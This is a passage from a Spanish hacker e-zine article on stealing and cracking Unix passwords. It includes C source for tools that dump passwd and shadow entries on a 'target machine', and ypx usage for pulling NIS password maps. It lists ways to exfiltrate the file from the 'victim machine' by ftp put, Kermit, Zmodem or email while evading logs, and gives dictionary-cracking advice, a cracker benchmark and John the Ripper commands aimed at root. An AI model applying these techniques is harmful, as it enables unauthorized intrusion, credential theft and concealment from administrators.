  5054. # Configure CFLAGS/LDFLAGS for your machine/OS
  5055. # for HP-UX and other Sys V systems:
  5056. CFLAGS= -O -DSYSV
  5057. # for VAX 4.[23] BSD, SunOS and other BSD based systems:
  5058. # CFLAGS= -O -DBSD
  5059.  
  5060. # Need getopt for pwget, include library that has it.
  5061. # System V based system (like HP-UX), 4.3BSD and SunOS have null 
  5062. LDFLAGS.
  5063. LDFLAGS=
  5064. # 4.2BSD requires getopt from someplace.
  5065. # LDFLAGS= -lgetopt
  5066.  
  5067. MODE=755
  5068. OWNER=bin
  5069. GROUP=bin
  5070. DEST=dest
  5071. MANMODE=444
  5072. MANOWNER=bin
  5073. MANGROUP=bin
  5074. MANDEST=man
  5075.  
  5076. all: grget pwget pwget.cat
  5077.  
  5078. install: installcmd installman
  5079.  
  5080. installcmd: pwget
  5081.     strip pwget
  5082. # use install for BSD and cpset for SYSV
  5083. #    install -c -o $(OWNER) -g $(GROUP) -m $(MODE) pwget $(DEST)
  5084.     cpset pwget $(DEST) $(MODE) $(OWNER) $(GROUP)
  5085.     ln $(DEST)/pwget $(DEST)/grget
  5086.  
  5087. installman: pwget.1
  5088. # use install for BSD and cpset for SYSV
  5089. #    install -c -o $(MANOWNER) -g $(MANGROUP) -m $(MANMODE) 
  5090. pwget.1 $(MANDEST)
  5091.     cpset pwget.1 $(MANDEST) $(MANMODE) $(MANOWNER) 
  5092. $(MANGROUP)
  5093.  
  5094. grget: pwget
  5095.     ln pwget grget
  5096.  
  5097. pwget: pwget.o
  5098.     cc $(LDFLAGS) -o pwget pwget.o
  5099.  
  5100. pwget.o: pwget.c
  5101.     cc $(CFLAGS) -c pwget.c
  5102.  
  5103. pwget.cat: pwget.1
  5104.     tbl pwget.1 | nroff -man -T > pwget.cat
  5105.  
  5106. clean:
  5107.     /bin/rm -f pwget.o pwget grget
  5108.  
  5109. clobber: clean
  5110. @EOF
  5111.  
  5112. chmod 664 Makefile
  5113.  
  5114. echo x - pwget.1
  5115. cat >pwget.1 <<'@EOF'
  5116. .TH PWGET UTIL "" "" ""
  5117. .ad b
  5118. .SH NAME
  5119. pwget, grget \- get password and group information
  5120. .SH SYNOPSIS
  5121. .B pwget
  5122. .RB [ " \-n" " name"
  5123. .RB | " \-u" " uid " ]
  5124. .PP
  5125. .B grget
  5126. .RB [ " \-n" " name"
  5127. .RB | " \-g" " gid " ]
  5128. .br
  5129. .SH DESCRIPTION
  5130. .I Pwget\^
  5131. and
  5132. .I grget\^
  5133. are used to access the information found in
  5134. .B /etc/passwd
  5135. and
  5136. .BR /etc/group .
  5137. These routines provide a common access method
  5138. whether using the Yellow Page network database or not.
  5139. The output of these routines is sent to standard output.
  5140. With no options,
  5141. .I pwget
  5142. and
  5143. .I grget
  5144. output all of the data found using
  5145. .IR getpwent( LIBC )
  5146. and
  5147. .IR getgrent( LIBC )
  5148. respectively.
  5149. When options are given, only specified entries are searched for.
  5150. .PP
  5151. The options for
  5152. .I pwget
  5153. are:
  5154. .RS
  5155. .TP .8i
  5156. .BI \-n " name"
  5157. Output the first entry that matches using
  5158. .BI getpwnam( name ).
  5159. .TP
  5160. .BI \-u " uid"
  5161. Output the first entry that matches using
  5162. .BI getpwuid( uid ).
  5163. .RE
  5164. .PP
  5165. The options for
  5166. .I grget
  5167. are:
  5168. .RS
  5169. .TP .8i
  5170. .BI \-n " name"
  5171. Output the first entry that matches using
  5172. .BI getgrnam( name ).
  5173. .TP
  5174. .BI \-g " gid"
  5175. Output the first entry that matches using
  5176. .BI getgrgid( gid ).
  5177. .RE
  5178. .SH RETURN VALUE
  5179. These routines return 0 upon success, 1 when
  5180. a specific search fails and 2 upon error.
  5181. .SH WARNINGS
  5182. If the Yellow Page network database is in use and the
  5183. YP client daemon,
  5184. .IR ypbind (ADMIN),
  5185. is not connected to a YP server daemon,
  5186. .IR ypserv (ADMIN),
  5187. then these utilities will wait until such a connection is
  5188. established.  These routines can be terminated in this
  5189. condition by sending a SIGINT signal to the process (see
  5190. .IR kill (UTIL)).
  5191. .SH AUTHOR
  5192. Pwget and grget were developed by Hewlett-Packard Company.
  5193. .SH FILES
  5194. .TS
  5195. l l.
  5196. /etc/group    Local group data file
  5197. /etc/passwd    Local password data file
  5198. .TE
  5199. .SH SEE ALSO
  5200. getgrent(LIBC), getpwent(LIBC), group(FILE), passwd(FILE).
  5201. @EOF
  5202.  
  5203. chmod 644 pwget.1
  5204.  
  5205. echo x - pwget.c
  5206. cat >pwget.c <<'@EOF'
  5207. #include <stdio.h>
  5208. #include <grp.h>
  5209. #include <pwd.h>
  5210. #ifdef SYSV
  5211. #include <string.h>
  5212. #else /* not SYSV but BSD */
  5213. #include <strings.h>
  5214. #endif /* SYSV / BSD */
  5215.  
  5216. int atoi(), getopt();
  5217. char *arg0;
  5218.  
  5219. #define GRGET    1
  5220. #define PWGET    2
  5221.  
  5222. int mode;                      /* Mode of operation, either GRGET or PWGET. */
  5223.  
  5224. main(argc, argv)
  5225. int argc;
  5226. char **argv;
  5227. {
  5228.     int printgr(), printpw();
  5229.     int c;
  5230.     extern char *optarg;
  5231.     extern int optind;
  5232.     struct group *grp;
  5233.     struct passwd *pwd;
  5234.     int anyflag = 0,
  5235.     gflag = 0,
  5236.     nflag = 0,
  5237.     uflag = 0;
  5238.     int gid, uid;
  5239.     char *name, *opts;
  5240.  
  5241.     mode = 0;
  5242.  
  5243. #ifdef SYSV
  5244.     if ((arg0 = strrchr(argv[0], '/')) == NULL)
  5245. #else /* not SYSV but BSD */
  5246.     if ((arg0 = rindex(argv[0], '/')) == NULL)
  5247. #endif /* SYSV / BSD */
  5248.     arg0 = argv[0];
  5249.     else
  5250.     arg0++;            /* Start after the '/' */
  5251.  
  5252.     if (strcmp(arg0, "grget") == 0)
  5253.     mode = GRGET;
  5254.     else if (strcmp(arg0, "pwget") == 0)
  5255.     mode = PWGET;
  5256.     else
  5257.     usage();
  5258.  
  5259.     switch(mode)
  5260.     {
  5261. case GRGET:
  5262.     setgrent();
  5263.     opts = "g:n:";
  5264.     break;
  5265. case PWGET:
  5266.     setpwent();
  5267.     opts = "u:n:";
  5268.     break;
  5269.     }
  5270.  
  5271.     while ((c = getopt(argc, argv, opts)) != EOF)
  5272.     {
  5273.     switch (c)
  5274.     {
  5275.     case 'g':
  5276.         if (anyflag != 0)
  5277.         usage();
  5278.  
  5279.         gflag++;
  5280.         anyflag++;
  5281.         gid = atoi(optarg);
  5282.         break;
  5283.     case 'n':
  5284.         if (anyflag != 0)
  5285.         usage();
  5286.  
  5287.         nflag++;
  5288.         anyflag++;
  5289.         name = optarg;
  5290.         break;
  5291.     case 'u':
  5292.         if (anyflag != 0)
  5293.         usage();
  5294.  
  5295.         uflag++;
  5296.         anyflag++;
  5297.         uid = atoi(optarg);
  5298.         break;
  5299.     case '?':
  5300.         usage();
  5301.         break;
  5302.     }
  5303.     }
  5304.  
  5305.     if (argv[optind] != NULL)
  5306.     usage();
  5307.  
  5308.     if (gflag)
  5309.     {
  5310.     if ((grp = getgrgid(gid)) != NULL)
  5311.         printgr(grp);
  5312.     else
  5313.         exit(1);
  5314.     }
  5315.     else if (nflag)
  5316.     {
  5317.     if (mode == GRGET)
  5318.     {
  5319.         if ((grp = getgrnam(name)) != NULL)
  5320.         printgr(grp);
  5321.         else
  5322.         exit(1);
  5323.     }
  5324.     else if (mode == PWGET)
  5325.     {
  5326.         if ((pwd = getpwnam(name)) != NULL)
  5327.         printpw(pwd);
  5328.         else
  5329.         exit(1);
  5330.     }
  5331.     }
  5332.     else if (uflag)
  5333.     {
  5334.     if ((pwd = getpwuid(uid)) != NULL)
  5335.         printpw(pwd);
  5336.     else
  5337.         exit(1);
  5338.     }
  5339.     else
  5340.     {
  5341.     if (mode == GRGET)
  5342.     {
  5343.         while ((grp = getgrent()) != NULL)
  5344.         printgr(grp);
  5345.     }
  5346.     else if (mode == PWGET)
  5347.     {
  5348.         while ((pwd = getpwent()) != NULL)
  5349.         printpw(pwd);
  5350.     }
  5351.     }
  5352.  
  5353.     switch(mode)
  5354.     {
  5355. case GRGET:
  5356.     endgrent();
  5357.     break;
  5358. case PWGET:
  5359.     endpwent();
  5360.     break;
  5361.     }
  5362.  
  5363.     exit(0);
  5364. }
  5365.  
  5366.  
  5367. usage()
  5368. {
  5369.     switch(mode)
  5370.     {
  5371. case GRGET:
  5372.     fprintf(stderr, "usage: %s [ -g gid | -n name ]\n", arg0);
  5373.     break;
  5374. case PWGET:
  5375.     fprintf(stderr, "usage: %s [ -n name | -u uid ]\n", arg0);
  5376.     break;
  5377. default:
  5378.     fprintf(stderr, "Call as either grget or pwget\n");
  5379.     break;
  5380.     }
  5381.  
  5382.     exit(2);
  5383. }
  5384.  
  5385.  
  5386. printgr(g)
  5387. struct group *g;
  5388. {
  5389.     char **chr;
  5390.     int comma;
  5391.  
  5392.     if (g != NULL)
  5393.     {
  5394.     printf("%s:%s:%d:", g->gr_name, g->gr_passwd, g->gr_gid);
  5395.  
  5396.     /* prints "grp1,grp2,grp3, ... ,grpn" */
  5397.     for (comma = 0, chr = g->gr_mem; *chr != NULL; chr++)
  5398.         printf("%s%s", ((comma==0)?comma++,"":","), *chr);
  5399.  
  5400.     printf("\n");
  5401.     }
  5402. }
  5403.  
  5404.  
  5405. printpw(p)
  5406. struct passwd *p;
  5407. {
  5408.     if (p != NULL)
  5409.     {
  5410.     printf("%s:%s", p->pw_name, p->pw_passwd);
  5411.  
  5412. #ifdef SYSV
  5413.     if (strcmp(p->pw_age, "") != 0)
  5414.         printf(",%s", p->pw_age);
  5415. #endif /* SYSV */
  5416.  
  5417.     printf(":%d:%d:%s:%s:%s\n", p->pw_uid, p->pw_gid,
  5418.         p->pw_gecos, p->pw_dir, p->pw_shell);
  5419.     }
  5420. }
  5421.  
  5422. @EOF
  5423.  
  5424. chmod 666 pwget.c
  5425.  
  5426. exit 0
  5427.  
  5428. ------------ FIN -------------------------------------------------------------
  5429.  
  5430.         Una vez lo teneis en la maquina objetivo, lo compilais con "cc -o
  5431.   pwget pwget.c", y ejecutarlo ("./pwget"), con lo que obtendreis por pantalla
  5432.   la lista de passwords. Si quereis la lista en un fichero, solo teneis que
  5433.   redireccionar la salida de la pantalla a un fichero:
  5434.  
  5435.   $ ./pwget > fichero
  5436.  
  5437.         Ahora adjunto otro programita que siempre es bueno tenerlo a mano por
  5438.   si el pwget da alguna pega o algo y que sirve para obtener los password
  5439.   shadow es el siguiente.
  5440.  
  5441.         Su uso es gcc shadow.c -o shadow o cc shadow.c -o shadow y luego 
  5442.   ./shadowpw >> password. Asi obtenendremos el fichero de passwd en el
  5443.   fichero password.
  5444.  
  5445. ------------ Codigo Fuente ---------------------------------------------------
  5446.  
  5447. /*  This source will/should print out SHADOWPW passwd files.   */
  5448.  
  5449.  struct  SHADOWPW {                 /* see getpwent(3) */
  5450.       char *pw_name;
  5451.       char *pw_passwd;
  5452.       int  pw_uid;
  5453.       int  pw_gid;
  5454.       int  pw_quota;
  5455.       char *pw_comment;
  5456.       char *pw_gecos;
  5457.       char *pw_dir;
  5458.       char *pw_shell;
  5459.  };
  5460.  struct passwd *getpwent(), *getpwuid(), *getpwnam();
  5461.  
  5462.  #ifdef   elxsis?
  5463.  
  5464.  /* Name of the shadow password file. Contains password and aging info */
  5465.  
  5466.  #define  SHADOWPW "/etc/shadowpw"
  5467.  #define  SHADOWPW_PAG "/etc/shadowpw.pag"
  5468.  #define  SHADOWPW_DIR "/etc/shadowpw.dir"
  5469.  /*
  5470.   *  Shadow password file pwd->pw_gecos field contains:
  5471.   *
  5472.   *  <type>,<period>,<last_time>,<old_time>,<old_password>
  5473.   *
  5474.   *  <type>     = Type of password criteria to enforce (type int).
  5475.   *        BSD_CRIT (0), normal BSD.
  5476.   *        STR_CRIT (1), strong passwords.
  5477.   *  <period>  = Password aging period (type long).
  5478.   *        0, no aging.
  5479.   *        else, number of seconds in aging period.
  5480.   *  <last_time>     = Time (seconds from epoch) of the last password
  5481.   *        change (type long).
  5482.   *        0, never changed.n
  5483.   *  <old_time>     = Time (seconds from epoch) that the current password
  5484.   *        was made the <old_password> (type long).
  5485.   *        0, never changed.ewromsinm
  5486.   *  <old_password> = Password (encrypted) saved for an aging <period> to
  5487.   *        prevent reuse during that period (type char [20]).
  5488.   *        "*******", no <old_password>.
  5489.   */
  5490.  
  5491.  /* number of tries to change an aged password */
  5492.  
  5493.  #define  CHANGE_TRIES 3
  5494.  
  5495.  /* program to execute to change passwords */
  5496.  
  5497.  #define  PASSWD_PROG "/bin/passwd"
  5498.  
  5499.  /* Name of the password aging exempt user names and max number of entires 
  5500. */
  5501.  
  5502.  #define  EXEMPTPW "/etc/exemptpw"
  5503.  #define MAX_EXEMPT 100
  5504.  
  5505.  /* Password criteria to enforce */
  5506.  
  5507.  #define BSD_CRIT 0    /* Normal BSD password criteria */
  5508.  #define STR_CRIT 1     /* Strong password criteria */
  5509.  #define MAX_CRIT 1
  5510.  #endif   elxsi
  5511.  #define NULL 0
  5512.  main()
  5513.  {
  5514.     struct passwd *p;
  5515.     int i;
  5516.     for (;1;) {;
  5517.       p=getpwent();
  5518.       if (p==NULL) return;
  5519.       printpw(p);
  5520.     }
  5521.  }
  5522.  
  5523.  printpw(a)
  5524.  struct SHADOWPW *a;
  5525.  {
  5526.     printf("%s:%s:%d:%d:%s:%s:%s\n",
  5527.        a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,
  5528.        a->pw_gecos,a->pw_dir,a->pw_shell);
  5529.  }
  5530.  
  5531.  /* SunOS 5.0        /etc/shadow */
  5532.  /* SunOS4.1+c2     /etc/security/passwd.adjunct */
  5533.  
  5534. ------------ FIN -------------------------------------------------------------
  5535.  
  5536.         Ademas existe un programa llamado YPX que sirve para extraer estos
  5537.   mapas (incluido el fichero passwd, donde estan incluidos todos las passwords
  5538.   de los usuarios) de un servidor de NIS aunque la maquina en la que estemos
  5539.   no sea una maquina cliente. Para conseguirlo buscalo en la red en cualquier
  5540.   buscador o posiblemente este en el web de donde te bajes este texto :o). Hay
  5541.   otros programas de ese estilo como ypsnarf, etc.
  5542.  
  5543.   Su uso es muy sencillo ya que solo tienes que hacer:
  5544.  
  5545.   ypx -m passwd nombre_dominio_nis
  5546.  
  5547.         Ademas, tened en cuenta las importantes ventajas que tiene el tener
  5548.   una cuenta en un sistema con nis.. creo que no hace falta que os lo
  5549.   explique tras el rollo que ya he contado no?.. si alguno no lo tiene claro
  5550.   que se relea el texto jeje.
  5551.  
  5552.   6.3.- DISTINTOS METODOS PARA BAJAROS EL FICHERO DE PASSWD UNA VEZ LO TIENES
  5553.         BAJO CONTROL
  5554.  
  5555.         Una vez tenemos el fichero de passwd en un archivo mas o menos bajo 
  5556.   nuestro control, es decir que ya hemos pillado el shadow o tenemos acceso 
  5557.   directamente al passwd, hemos de bajar esa informacion a nuestra maquina.
  5558.  
  5559.   Hay varios sistemas:
  5560.  
  5561.         1.- Usar el ftp, corriendo el ftp en la maquina delante de la que tu
  5562.   estas sentado y usar el get para pillar el fichero de passwd. Este sera el
  5563.   metodo usual pero en algunos casos esto no sera posible debido a algun
  5564.   metodo de seguridad. Una variante de esto es configurar en tu maquina el
  5565.   ftp y usar el ftp desde la maquina victima y hacer un put (para subir el
  5566.   fichero) a tu maquina desde la maquina victima. Tambien teneis que tener en
  5567.   cuenta que el ftp tiene un fichero de logs adicional por lo que tendreis
  5568.   que tenerlo en cuenta. Un consejo para este caso puede ser hacer un cat
  5569.   passwd > cualquiera y luego bajar el fichero "cualquiera" y asi en los logs
  5570.   no queda registrado que os habeis bajado el fichero passwd.
  5571.  
  5572.         2.- Si el fichero de passwd no es muy grande, podemos abrir una
  5573.   ventana en nuestra maquina local y usar el copiar y pegar entre la ventana
  5574.   que tienes en la maquina victima y la ventana que tenemos en nuestra
  5575.   maquina. Es un poco cutre pero funciona :o). Por si alguien no lo sabe, en
  5576.   linux se copia con el boton izquierdo del raton y se pega con el central o
  5577.   pulsando los dos (izquierdo y derecho) a la vez dependiendo de la
  5578.   configuracion. Este metodo es cutre pero no da tanto el cante ya que en los
  5579.   logs solo aparece un cat y no aparece que te has bajado el /etc/passwd por
  5580.   ftp¡!
  5581.  
  5582.         3.- Usar el Kermit
  5583.  
  5584.         Para bajar el fichero via Kermit o Zmodem necesitareis que vuestro
  5585.   programa de telnet soporte esos protocolos y que la maquina Unix en la que
  5586.   estais tambien los soporte (o sea, tenga los programas instalados). El
  5587.   programa de Kermit suele estar en casi todos los sitios:
  5588.  
  5589.   $ kermit
  5590.   kermit> set file type ascii (o "text", segun las maquinas)
  5591.   kermit> set send pack 1000
  5592.   kermit> set rec pack 1000
  5593.   kermit> set file type 2 (o 3, como querais)
  5594.   kermit> send fichero
  5595.  
  5596.   ... Download->Kermit
  5597.  
  5598.   CTRL+C
  5599.  
  5600.   kermit> quit
  5601.   $
  5602.  
  5603.   4.- Usar el ZModem/Ymodem/Xmodem.
  5604.  
  5605.   Podreis usar este sistema en caso de tenerlo instalado:
  5606.  
  5607.   $ sz fichero
  5608.  
  5609.   ... Download->ZModem
  5610.  
  5611.   $
  5612.  
  5613.         5.- Usar el mail aunque solo se debe hacer si la cuenta esta
  5614.   restringida al mail o teneis algun problema extraño se puede usar como
  5615.   ultimo recurso maileando el passwd desde la maquina victima a una cuenta de
  5616.   correo tuya... tiene la ventaja de que no es nada sospechoso ya que es
  5617.   usual que la gente use el mail :)... es bastante menos sospechoso ke el ftp
  5618.   :). Esto tambien suele quedar en algun fichero de logs.
  5619.  
  5620.         Como veis, estos metodos hay algunos muy chapuceros, pero cuando estas
  5621.   en una maquina y estas un poco desesperado se hace lo que haga falta jeje.
  5622.  
  5623.   6.4.- COMO SE CRACKEAN
  5624.  
  5625.         Una vez obtenido el fichero passwd y teniendolo en nuestra maquina,
  5626.   ahora se ha de comentar como se pueden sacar los password y los login.
  5627.  
  5628.         Como hemos visto, no podemos descifrar un password, pero si que
  5629.   podemos cifrar palabras con todos los salt posibles y compararlas con la
  5630.   que ya tenemos cifrada. El tema es que palabras usamos para encriptarlas y
  5631.   comparar... pues bien se pueden hacer varias cosas, usar listas de palabras
  5632.   ya hechas o haceros vosotros una. A estas listas de palabras son lo que se
  5633.   denominan los famosos diccionarios.
  5634.  
  5635.         Si optas por pillar diccionarios ya hechos.. hay sites que contienen
  5636.   muchas wordlists (diccionarios) en casi cualquier idioma que os podais
  5637.   imaginar. Los sites mas conocidos para estos fines son:
  5638.  
  5639.   ftp://sun.rediris.es/mirror/sable/wordlists/
  5640.   http://sunshine.sunshine.ro/FUN/Word_lists/
  5641.   ftp://ftp.warwick.ac.uk/pub/cud/
  5642.   ftp://sable.ox.ac.uk/pub/wordlists/
  5643.  
  5644.         Si prefieres hacerte uno... (es lo que os aconsejo) simplemente te
  5645.   pones delante del teclado y pones todas las palabras que se te ocurran. El
  5646.   problema de esto es que el diccionario esta restringido a tus conocimientos
  5647.   o aficiones.. por ejemplo, si no te gusta el futbol tienes un problema ya
  5648.   que mucha gente pone como password nombres de futbolistas, nombre del novio,
  5649.   de la novia, insultos, libros, su apellido, etc. Por ejemplo en el mio he
  5650.   puesto las plantillas de los equipos de futbol mas importantes, lista de
  5651.   ciudades, listas de apellidos y nombres ,etc. Ademas tened en cuenta que si
  5652.   os haceis un diccionario vosotros, solo os servira para sites españoles ya
  5653.   que dificilmente sacareis algo en una maquina de zambia :o)
  5654.  
  5655.         Otra cosa es que muchas veces coincide el login con el password pero
  5656.   si usais el john the ripper, esto lo saca el con la opcion -single.
  5657.  
  5658.         Ademas, os podeis ayudar de algun programa para extraer todas las
  5659.   palabras de un fichero o utilidades que hay en la red para modificar listas
  5660.   de palabras.. pero eso es otro cantar.
  5661.  
  5662.   6.5.- Que crackeador de password usar.
  5663.  
  5664.         Ahora que ya teneis la lista de passwords y unas cuantas listas de
  5665.   palabras falta un programa que encripte las palabras y las compare con los
  5666.   passwords encriptados del fichero de passwords. Para ello hay muchos
  5667.   programas que podeis usar. Ahora comentare brevemente las caracteristicas
  5668.   de los programas (y sus nombres, para que los podais buscar por la red),
  5669.   pero antes quiero dar algunos truquillos para que consigais passwords en
  5670.   menos tiempo.
  5671.  
  5672.         ? Elimina del fichero de passwords todas las lineas cuyo password sea 
  5673.   invalido ("*", "*NOPASSWORD*", etc) 
  5674.  
  5675.         ? Ordenad las lineas del fichero de password por los dos primeros 
  5676.   caracteres del password encriptado. Algunos de los programas que comento ya
  5677.   hacen esto al cargar el fichero de password, pero algunos no lo hacen. Con
  5678.   estos dos pasos os podeis ahorrar bastante tiempo si usais estos petadores. 
  5679.  
  5680.         ? Aquellos usuarios que tienen el campo de password vacio 
  5681.   (user1::101:1:Manolito:/usr/user1:/bin/sh) no tienen password, asi que 
  5682.   son una cuenta que podeis eliminar del fichero, ya que no os hace falta 
  5683.   petar el password para entrar. 
  5684.  
  5685.   Petadores:
  5686.  
  5687.         ? Cracker Jack 1.4 (JACK14*.*, CJACK. Esta en practicamente cualquier 
  5688.   site de internet dedicado al hacking. Funciona para DOS y para OS/2, y 
  5689.   es bastante rapido. Incluye en el mismo paquete varias utilidades para 
  5690.   tratar listas de palabras. 
  5691.  
  5692.         ? Brute 2.00 (BRUTE*.*) Otro petador bastante popular pese a su
  5693.   lentitud. Creo que existe otra version mas rapida, pero usa un algoritmo de 
  5694.   encriptacion que no es del todo correcto (aunque es mas rapido), y no pilla
  5695.   todos los passwords que debiera. No he podido localizar ninguna copia de
  5696.   esa version asi que no la he podido probar. Funciona para DOS.
  5697.  
  5698.         ? StarCrack 0.64ß (STARCRAK*.*) Este es un petador con multitud de 
  5699.   opciones, que permite manipular palabras mientras se prueban. Es mas rapido
  5700.   que el Cracker Jack, funciona para DOS y es muy completo. Es bastante nuevo,
  5701.   y ademas es una Beta, o sea que supongo que pronto saldra alguna version
  5702.   mejorada... :-? Es bastante completo y permite hacer de todo ? Esta es la
  5703.   homepage del StarCrack: http://www.chez.com/thes/starcrak.html 
  5704.  
  5705.         ? Hades 1.00a (HADES*.*) Otro petador para DOS. Este hace las pruebas 
  5706.   de una forma distinta al resto de petadores. En vez de encriptar una 
  5707.   palabra y comparar con los passwords de todos los usuarios, prueba de 
  5708.   encriptar todas las palabras y compara cada palabra con el password de 
  5709.   un usuario. Una vez ha acabado con un usuario, prueba lo mismo con otro.
  5710.   Debido a esta forma de actuar, realiza mucha entrada/salida de disco, lo
  5711.   cual ralentiza el proceso. Sus prestaciones mejoran notablemente si
  5712.   ordenamos el fichero de passwords por el campo password encriptado, ya que
  5713.   asi prueba varios usuarios a la vez. Tambien se puede mejorar su rendimiento
  5714.   teniendo todas las listas (palabras y passwords) en un disco virtual en
  5715.   memoria.
  5716.  
  5717.         ? Guess 2.1 (GUESS*.*) Petador para DOS, extremadamente lento. Tiene 
  5718.   problemas de memoria si se intenta usar con ficheros de passwords de 
  5719.   mas de 1000 lineas. 
  5720.  
  5721.         ? PCUPC 2.01 (PCUPC*.*) Otro petador para DOS. Este tiene problemas 
  5722.   de memoria si se intenta usar con ficheros de passwords de mas de 
  5723.   600/700 lineas.
  5724.  
  5725.         ? Killer Cracker 9.5 (DJKC95*.*, KC*.*) Al igual que el Guess, es un 
  5726.   petador para DOS bastante lento y que da problemas si se usa con 
  5727.   ficheros de passwords de mas de 1000 lineas.
  5728.  
  5729.         ? Xit 2.0 (XIT20*.*) Petador para DOS. Es lo mas lento que me he 
  5730.   encontrado. Como su nombre indica, es una shit! :-) 
  5731.  
  5732.         ? HellFire Cracker 1.3 (HC130*.*) Petador para DOS. Necesita 386 con 
  5733.   coprocesador para funcionar, pero por algun extraño motivo se cuelga en mi
  5734.   pentium y en mi 486, asi que no os puedo decir que tal este. Quizas si
  5735.   teneis un 386 lo podais usar con exito. El programa incluye un emulador de
  5736.   387 por si no teneis coprocesador. De todas formas, es un programa muy
  5737.   antiguo que seguramente no sera muy rapido. 
  5738.  
  5739.         ? John the ripper 1.4 (UCFJOHN3*.*) Petador para DOS/Win32/Linux y
  5740.   cualquier otra cosa, ya que viene con las fuentes. Funciona de una forma
  5741.   muy similar al Cracker Jack pero incluye mas opciones y es bastante mas
  5742.   rapido. No tiene tantas opciones como el Star Crack, pero es bastante mas
  5743.   rapido. Ademas permite un monton de opciones para tratar las listas de
  5744.   palabras que usais... ? Esta es la homepage del John the 
  5745.   Ripper: http://www.false.com/security/john/ 
  5746.  
  5747.         Aqui teneis una comparativa de estos petadores, en la misma maquina y
  5748.   con los mismos ficheros de passwords y de palabras. Algunos de ellos
  5749.   tardaban demasiado, y aborte el proceso de petar passwords. En estos casos,
  5750.   calcule el tiempo estimado que tardarian en acabar en funcion del tiempo
  5751.   que llevaban (1 hora) y las palabras que habian provado hasta el momento.
  5752.   Estos son los resultados, ordenados por velocidad:
  5753.  
  5754.   PRIVATE Cracker
  5755.   Tiempo
  5756.   Comparacion
  5757.   es
  5758.   por Segundo
  5759.   Observaciones
  5760.   John the ripper 1.4
  5761.   6'15''
  5762.   26667c/s
  5763.   .
  5764.   John the ripper 1.31
  5765.   6'30''
  5766.   25641c/s
  5767.   .
  5768.   John the ripper 1.0
  5769.   8'05''
  5770.   20619c/s
  5771.   .
  5772.   Star Crack 0.64ß
  5773.   9'15''
  5774.   18018c/s
  5775.   .
  5776.   Star Crack 0.51ß
  5777.   11'25''
  5778.   14599c/s
  5779.   .
  5780.   Cracker Jack 1.4
  5781.   13'33''
  5782.   12300c/s
  5783.   .
  5784.   Cracker Jack 1.3 386
  5785.   14'55''
  5786.   11173c/s
  5787.   .
  5788.   Cracker Jack 1.3 8086
  5789.   22'22''
  5790.   7452c/s
  5791.   .
  5792.   Hades 1.00a
  5793.   47'05''
  5794.   3540c/s
  5795.   .
  5796.   Brute 2.00
  5797.   (est)59'54''
  5798.   2782c/s
  5799.   .
  5800.   PCUPC 2.01
  5801.   (est)135'37''
  5802.   1229c/s
  5803.   Solo soporta ficheros de passwords
  5804.   de menos de 500 lineas.
  5805.   Guess 2.1
  5806.   (est)141'58''
  5807.   1174c/s
  5808.   Solo soporta ficheros de passwords 
  5809.   de menos
  5810.   de 1000 lineas.
  5811.   Killer Cracker 9.5
  5812.   (est)151'12''
  5813.   1105c/s
  5814.   Solo soporta ficheros de passwords
  5815.   de menos de 1000 lineas.
  5816.   Xit 2.0
  5817.   (est)195'37''
  5818.   852c/s
  5819.   .
  5820.   Hellfire Cracker 1.3
  5821.   infinito
  5822.   0c/s
  5823.   Se colgo y no pudo ser probado.
  5824.  
  5825.         Este test fue realizado en un Pentium 133, con 16 Mb de RAM, con los
  5826.   datos en el disco duro, con una cache de lectura de 2 Mb y sin hacer ningun 
  5827.   preprocesado en el fichero de passwords ni en el de palabras. El fichero de 
  5828.   palabras contenia 10000 palabras y el de passwords 1000 passwords. Tenian 
  5829.   que encontrar 554 passwords.
  5830.  
  5831.         Algunos de ellos no los deje acabar ya que tardaban demasiado y estime
  5832.   el tiempo en funcion de lo que habian crackeado hasta el momento de
  5833.   pararlos, por lo tanto no se si hubieran encontrado todos los passwords.
  5834.   Solo los he incluido en la comparativa por si alguno de vosotros los usa,
  5835.   para que vea que hay cosas mejores.
  5836.  
  5837.         Como se puede ver, el John the ripper encripta casi el doble de
  5838.   passwords por segundo que el Cracker Jack. He de reconocer que el fichero
  5839.   con el que hize la prueba parece ser especialmente adecuado para el John the
  5840.   ripper, ya que 20000c/s no se consiguen habitualmente. De todas formas, la
  5841.   comparativa es significativa de la velocidad a la que se petan passwords con
  5842.   cada uno de los programas.
  5843.  
  5844.         Una cosa que me gustaria puntualizar es que aunque el password del
  5845.   root se puede sacar con este metodo de fuerza bruta, no es demasiado
  5846.   aconsejable y solo se debe usar para casos in extremis. Esto es asi porque
  5847.   si el root tiene algo de idea de esto, tendra un passwd un poco raro y no
  5848.   lo podreis sacar facilmente a no ser que pongais el john en modo incremental
  5849.   (y esto es una locura tal como se comentara mas adelante).
  5850.  
  5851.         Otra historia es si teneis a mano una maquina de donde podais colgar
  5852.   el proceso con lo que lo podeis colgar de alli y que trabaje el (el problema
  5853.   es que consume mucha CPU por lo que como el root vea los procesos os
  5854.   pillaran, os lo mataran y encima estara bajo aviso) por lo que a no ser que
  5855.   tengais acceso a una maquina que sepais que el root no esta muy al loro, no
  5856.   useis este metodo, pero buscando y con un poco de suerte al final
  5857.   encontrareis una maquina con estas caracteristicas.
  5858.  
  5859.         Para usar el john the ripper suponiendo que el fichero de passwords
  5860.   se llama passwd se haria:
  5861.  
  5862.   John -single passwd ------ Asi saca los passwd mas sencillos
  5863.   John -wordfile:nombrediccionario -rules passwd -:Para emplear un diccionario
  5864.   John -wordfile:nombrediccionario -rules -users:0 passwd -:Para emplear un 
  5865.   diccionario para sacar el root.
  5866.  
  5867.         Este programa ofrece muchisimas posibilidades por lo que para mas 
  5868.   informacion leerse los docs que se adjuntan con el propio john the ripper.
  5869.  
  5870.   Nota De - J.J.F. / HACKERS TEAM -: La segunda parte de este articulo en el
  5871.   siquiente numero.
  5872.  
  5873. <────────────────────────────────────────────────────────────────────────────>
  5874. ██████████████████████████████████████████████████████████████████████████████
  5875. <────────────────────────────────────────────────────────────────────────────>
  5876.  
  5877.                            ┌─────────────────┐
  5878.                           <  EL LECTOR OPINA  >
  5879.                            └─────────────────┘
  5880.  
  5881.         Aqui con nuestra nueva seccion responderemos a las preguntas que nos
  5882.   que nos enviais por mail. Asi todos pueden ver la respuesta. Esperemos que
  5883.   se de vuestro agrado y que esta seccion se convierta en algo interesante
  5884.   para todos.
  5885.  
  5886.         Esperamos que tambien que seais vosotros (los propios lectores) que
  5887.   nos envies mail's contestando a las preguntas de otros lectores, asi
  5888.   consiguiremos una seccion muy activa y prospera para todos ;-)
  5889.  
